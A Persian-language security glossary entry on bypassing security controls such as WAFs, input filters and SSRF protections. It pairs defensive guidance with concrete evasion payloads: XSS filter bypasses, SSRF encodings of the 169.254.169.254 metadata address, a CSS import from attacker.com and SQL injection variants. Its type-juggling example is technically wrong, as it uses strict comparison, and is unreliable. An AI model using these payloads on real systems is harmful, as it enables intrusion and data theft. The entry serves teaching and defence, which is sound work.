دور زدن
تکنیکی برای دور زدن کنترلهای امنیتی، فیلترها یا محدودیتهایی که برای مسدود کردن فعالیت مخرب در نظر گرفته شدهاند.
تعریف کوتاه
دور زدن یعنی پیدا کردن یک راه هوشمندانه برای عبور از اقدامات امنیتی. اگر فیلتری "attack.com" را مسدود کند، ممکن است "att%61ck.com" (کدگذاری URL) یا "attack.com." (با نقطه) را امتحان کنی. امنیت وجود دارد، اما تو یک حفره پیدا کردهای.
تعریف کامل
دور زدن تکنیکی است که کنترلهای امنیتی را بدون شکستن مستقیم آنها دور میزند. شما قفل را از بین نمیبرید — در دیگری پیدا میکنید.
اهداف رایج دور زدن:
- WAF (فایروال برنامه وب)
- اعتبارسنجی ورودی/فیلترها
- مکانیسمهای احراز هویت
- محدودیت نرخ
- محدودیتهای IP
- محدودیتهای آپلود فایل
- کنترلهای دسترسی
دستهبندی دور زدن:
کدگذاری/مبهمسازی:
- کدگذاری URL:
<script>→%3Cscript%3E - کدگذاری دوگانه:
<→%253C - یونیکد:
<→\u003C - تغییر حروف:
<ScRiPt>
نقصهای منطقی:
- شرایط رقابتی
- آلودگی پارامتر
- نوعسازی (type juggling)
- نرمالسازی مسیر
سوءاستفاده از پروتکل:
- قاچاق HTTP
- DNS rebinding
- تغییر مسیرهای SSRF
چرا مهم است
- اقدامات امنیتی تنها زمانی مؤثر هستند که نتوان آنها را دور زد
- تکنیکهای دور زدن دائماً در حال تکامل هستند
- یک دور زدن موفق میتواند کل زیرساخت امنیتی را بیاثر کند
- دور زدنها اغلب سادهتر از حملات مستقیم هستند
چگونه مهاجمان از آن استفاده میکنند
مثال دور زدن WAF:
WAF مسدود میکند: <script>alert(1)</script>
دور زدنها:
1<script>alert(1)</script> ← مسدود شد2<scr<script>ipt>alert(1)</script> ← ممکن است کار کند3<img src=x onerror=alert(1)> ← جایگزین4<svg/onload=alert(1)> ← وکتور SVG
دور زدن فیلتر SSRF:
مسدود شده: http://169.254.169.254
دور زدنها:
1http://169.254.169.254 ← مسدود شد2http://169.254.169.254.nip.io ← دور زدن DNS3http://0xA9FEA9FE ← IP هگزادسیمال4http://[::ffff:169.254.169.254] ← IPv65http://169.254.169.254. ← نقطه پایانی6http://①⑥⑨.②⑤④.①⑥⑨.②⑤④ ← ارقام یونیکد
دور زدن احراز هویت:
1// بررسی آسیبپذیر2if (password === "admin123") {3 login();4}56// دور زدن با type juggling7password = true; // true == "admin123" ممکن است true باشد
چگونه تشخیص یا پیشگیری کنیم
پیشگیری:
- لیست سفید > لیست سیاه
- دفاع در عمق (لایههای متعدد)
- متعارفسازی مناسب ورودی
- بررسی نوع سختگیرانه
- نوشتن دقیق عبارت منظم
- تست با بارهای دور زدن
دفاعهای خاص:
پیشگیری از SSRF:
1# بد: لیست سیاه2if "169.254.169.254" not in url:3 fetch(url) # قابل دور زدن است45# خوب: لیست سفید + بررسی رزولوشن DNS6allowed_domains = ["example.com"]7parsed = urlparse(url)8if parsed.hostname in allowed_domains:9 ip = socket.gethostbyname(parsed.hostname)10 if not is_private_ip(ip):11 fetch(url)
تشخیص:
- ثبت تمام درخواستهای فیلتر شده
- نظارت بر الگوهای دور زدن:
- کدگذاری بیش از حد
- کاراکترهای غیرعادی
- چندین تلاش ناموفق
- موفقیت پس از چندین شکست
- استفاده از WAF پیشرفته با ML
- تست امنیتی منظم
باورهای غلط رایج
- "WAF یعنی من ایمنم" - WAFها به طور منظم دور زده میشوند
- "اعتبارسنجی ورودی کافی است" - نیاز به کدگذاری خروجی هم هست
- "لیست سیاه خوب کار میکند" - شمارش همه ورودیهای بد غیرممکن است
- "دور زدنها تئوری هستند" - به طور گسترده در حملات واقعی استفاده میشوند
- "فیلترهای پیچیده بهتر هستند" - اغلب دور زدنهای جدید ایجاد میکنند
مثال واقعی
دور زدن WAF CloudFlare (۲۰۱۹)
سایت محافظت شده <script> را مسدود کرد، اما اجازه داد:
1<style>@import'http://attacker.com/xss.css';</style>
نتیجه: اجرای XSS با وجود WAF.
دور زدن تجزیهگر URL (بسیاری از برنامهها)
تجزیهگرهای مختلف در تفسیر URL اختلاف دارند:
1http://evil.com@internal.com23تجزیهگر A: "رفتن به internal.com"4تجزیهگر B: "رفتن به evil.com"
اگر اعتبارسنج از تجزیهگر A استفاده کند و درخواست از تجزیهگر B → دور زدن.
دور زدن SSRF در Capital One
WAF قوانینی داشت، اما پیکربندی نادرست:
- متدهای HTTP خاصی مجاز بودند
- همه هدرها را بررسی نمیکرد
- اعتبارسنجی پس از مسیریابی انجام میشد
مهاجم شکاف را پیدا کرد → SSRF کامل.
مثالهای دور زدن OWASP Top 10 2021:
A01 (کنترل دسترسی):
- تغییر
user_id=123بهuser_id=124در بدنه POST - اضافه کردن پارامتر
admin=true
A03 (تزریق):
- WAF مسدود میکند
' OR 1=1-- - تلاش
' OR 'a'='aیا' OR 2>1--
اصطلاحات مرتبط
WAF, Filter, Firewall, Exploit, Encoding